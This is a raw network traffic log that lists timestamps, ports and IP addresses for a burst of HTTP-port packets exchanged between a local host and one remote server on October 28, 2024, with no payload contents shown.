Oct 28, 2024 08:17:39.307877064 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.307903051 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.307920933 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.307928085 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.307939053 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.307965994 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.307975054 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.308044910 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.308053017 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.308058977 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.308069944 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.308103085 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.308113098 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.308124065 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.308134079 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.308160067 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.308160067 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.308192015 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.308202982 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.308229923 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.308242083 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.308682919 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.308696032 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.308707952 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.308747053 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.308747053 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.308759928 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.308773041 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.308794022 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.308808088 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.308810949 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.308829069 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.308836937 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.308836937 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.308840990 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.308856010 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.308861971 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.308866024 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.308866024 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.308875084 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.308887959 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.308942080 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.308955908 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.308968067 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.308979988 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.309019089 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.309123993 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.309134960 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.309146881 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.309158087 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.309185028 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.309185028 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.309251070 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.309322119 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.309334993 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.309349060 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.309362888 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.309381962 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.309391022 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.309395075 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.309403896 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.309423923 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.309437037 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.309441090 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.309441090 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.309459925 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.309470892 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.309475899 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.309475899 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.309509993 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.309509993 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.309652090 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.309664011 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.309701920 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.309701920 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.348699093 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.348712921 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.348722935 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.348764896 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.348776102 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.348787069 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.348798990 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.348810911 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.348819971 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.348874092 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.349241972 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.349253893 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.349265099 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.349286079 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.349328995 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.350761890 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.350771904 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.350796938 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.350809097 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.350840092 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.350840092 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.390448093 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.390492916 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.390503883 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.390510082 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.390510082 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.390535116 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.390544891 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.390597105 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.390639067 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.391335011 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.391359091 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.391370058 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.391380072 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.391407967 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.391407967 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.391438961 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.424089909 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.424108982 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.424119949 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.424156904 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.424169064 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.424180031 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.424196959 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.424262047 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.424273014 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.424283028 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.424299002 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.424299002 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.424352884 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.425393105 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.425405979 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.425416946 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.425436020 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.425453901 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.425467968 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.425467968 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.425467968 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.425482035 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.425489902 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.425514936 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.425518036 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.425527096 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.425534964 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.425590992 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.425601959 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.425612926 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.425616980 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.425625086 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.425625086 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.425792933 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.425820112 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.425829887 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.425893068 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.425992966 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.426059961 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.426070929 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.426100016 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.426126003 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.426139116 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.426140070 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.426148891 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.426163912 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.426179886 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.426179886 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.426187038 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.426197052 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.426199913 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.426208973 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.426218987 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.426244020 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.426244020 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.426309109 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.426348925 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.426397085 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.426408052 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.426423073 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.426433086 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.426456928 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.426553965 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.426565886 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.426574945 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.426609993 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.426690102 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.426722050 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.426733017 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.426747084 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.426774025 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.426789999 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.426789999 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.426822901 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.426835060 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.426860094 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.426860094 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.426919937 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.426929951 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.426935911 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.426945925 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.426958084 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.426974058 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.426975965 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.426975965 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.426984072 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.426994085 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.427010059 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.427020073 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.427028894 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.427041054 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.427067041 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.427067041 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.427103043 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.427114010 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.427124023 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.427153111 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.427170992 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.427638054 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.427649975 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.427665949 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.427694082 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.427706003 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.427717924 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.427731991 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.427731991 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.427747011 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.427771091 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.427772999 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.427788019 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.427798033 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.427812099 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.427843094 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.427843094 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.427865028 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.427875996 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.427886963 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.427923918 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.427923918 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.428066969 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.428163052 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.428183079 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.428194046 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.428212881 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.428221941 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.428221941 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.428227901 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.428237915 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.428250074 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.428256989 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.428257942 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.428258896 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.428266048 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.428296089 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.428319931 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.428330898 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.428340912 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.428379059 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.428379059 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.428391933 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.428448915 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.428495884 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.428517103 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.428529024 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.428539038 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.428550959 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.428567886 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.428567886 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.428605080 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.428616047 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.428679943 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.428690910 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.428702116 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.428730011 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.428730011 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.428764105 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.428843021 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.428844929 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.428855896 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.428865910 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.428878069 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.428901911 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.428901911 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.428911924 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.428922892 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.428947926 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.428947926 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.428965092 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.428977013 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.429018974 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.429038048 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.429049015 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.429097891 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.429097891 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.467243910 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.467257023 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.467267990 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.467340946 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.467355967 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.468056917 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.468076944 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.468090057 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.468101025 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.468122959 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.468133926 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.468136072 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.468144894 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.468156099 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.468170881 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.468170881 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.468215942 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.468657970 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.468672037 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.468683004 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.468717098 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.468791008 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.470305920 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.470319033 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.470330000 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.470355988 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.470472097 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.509944916 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.509957075 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.509967089 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.510039091 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.510039091 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.510039091 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.510050058 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.510094881 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.511034012 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.511046886 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.511058092 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.511141062 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.544090033 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.544106007 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.544157982 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.544168949 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.544179916 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.544190884 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.544200897 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.544202089 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.544214010 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.544225931 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.544239998 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.544239998 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.544251919 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.544287920 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.544287920 CET	49766	80	192.168.2.4	185.215.113.206
